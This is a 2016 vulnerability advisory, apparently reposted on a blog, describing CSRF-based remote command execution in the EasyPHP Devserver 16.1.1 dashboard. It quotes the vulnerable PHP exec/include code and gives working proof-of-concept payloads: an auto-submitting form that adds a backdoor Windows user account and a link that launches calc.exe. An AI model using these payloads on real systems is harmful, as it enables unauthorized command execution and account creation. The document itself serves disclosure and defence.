[+] Credits: John Page aka hyp3rlinx[+] Website: hyp3rlinx.altervista.org[+] Source:http://hyp3rlinx.altervista.org/advisories/EASYPHP-DEV-SERVER-REMOTE-CMD-EXECUTION.txt[+] ISR: ApparitionSecVendor:===============www.easyphp.orgProduct:=============================EasyPHP Devserver v16.1.1easyphp-devserver-16.1.1-setup.exehash: 64184d330a34be9e6c029ffa63c903deA complete WAMP environment for PHP development & personal web hosting.Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin,Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows.Vulnerability Type:=================================CSRF / Remote Command ExecutionCVE Reference:==============N/AVulnerability Details:=====================EasyPHP Devserver dashboard runs on port 1111, the PHP code containsmulitple RCE vectors, which can allowarbitrary OS commands to be executed on the target system by remoteattackers, if a user visits malicious webpage or link.The "index.php" and "explorer.php" files both contain vulnerable code thatwill happily process both GET / POST RCE requests.Below EasyPHP Code contains no CSRF token or checks whatsoever. Allattacker needs is to supply 'type' and command values.Possibility for RFI (remote file inclusion) if the "allow_url_include=0"setting is changed in "php.ini" configuration.No checks or CSRF tokens for PHP include directives either, the defaulthowever is set to Off.e.g. RFI attempt resultWarning: include(): http:// wrapper is disabled in the server configurationby allow_url_include=0line 8 of "explorer.php"======================//== ACTIONS==================================================================if (isset($_POST['action'])) {// Include and execif (isset($_POST['action']['request'])) {foreach ($_POST['action']['request'] as $request) {if ($request['type'] == 'include') include(urldecode($request['value']));if ($request['type'] == 'exe') exec(urldecode($request['value']));}}$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];header("Location: " . $redirect);exit;}//////////////////////////////////////////////////line 48 "index.php"==================//== ACTIONS==================================================================if (isset($_POST['action'])) {// Include and execif (isset($_POST['action']['request'])) {foreach ($_POST['action']['request'] as $request) {if ($request['type'] == 'include') include(urldecode($request['value']));if ($request['type'] == 'exe') exec(urldecode($request['value']));}}sleep(1);$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];header("Location: " . $redirect);exit;}if (isset($_GET['action'])) {// Include and execif ($_GET['action'] == 'include') include(urldecode($_GET['value']));if ($_GET['action'] == 'exe') exec(urldecode($_GET['value']));if (isset($_GET['redirect'])) {$redirect = urldecode($_GET['redirect']);} else {$redirect = 'http://127.0.0.1:1111/index.php';}sleep(1);header("Location: " . $redirect);exit;}Exploit code(s):===============1) Add Backdoor User Account<form action="http://127.0.0.1:1111/explorer.php" method="post"><input type="hidden" name="action[request][0][type]" value="exe"><input type="hidden" name="action[request][0][value]" value="net user EVILPassword /add"><script>document.forms[0].submit()</script></form>2) Run "calc.exe"<a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe">Clicky...</a>Disclosure Timeline:======================================Vendor Notification: No repliesNovember 22, 2016 : Public DisclosureExploitation Technique:=======================RemoteSeverity Level:================Medium[+] DisclaimerThe information contained within this advisory is supplied "as-is" with nowarranties or guarantees of fitness of use or otherwise.Permission is hereby granted for the redistribution of this advisory,provided that it is not altered except by reformatting it, andthat due credit is given. Permission is explicitly given for insertion invulnerability databases and similar, provided that due creditis given to the author. The author is not responsible for any misuse of theinformation contained herein and accepts no responsibilityfor any damage caused by the use or misuse of this information. The authorprohibits any malicious use of security related informationor exploits by the author or elsewhere.hyp3rlinxhttps://www.exploit-db.com/exploits/40809/ |
2016 m. lapkričio 22 d., antradienis
EasyPHP Devserver 16.1.1 - Cross-Site Request Forgery / Remote Command Execution
Užsisakykite:
Rašyti komentarus (Atom)
Komentarų nėra:
Rašyti komentarą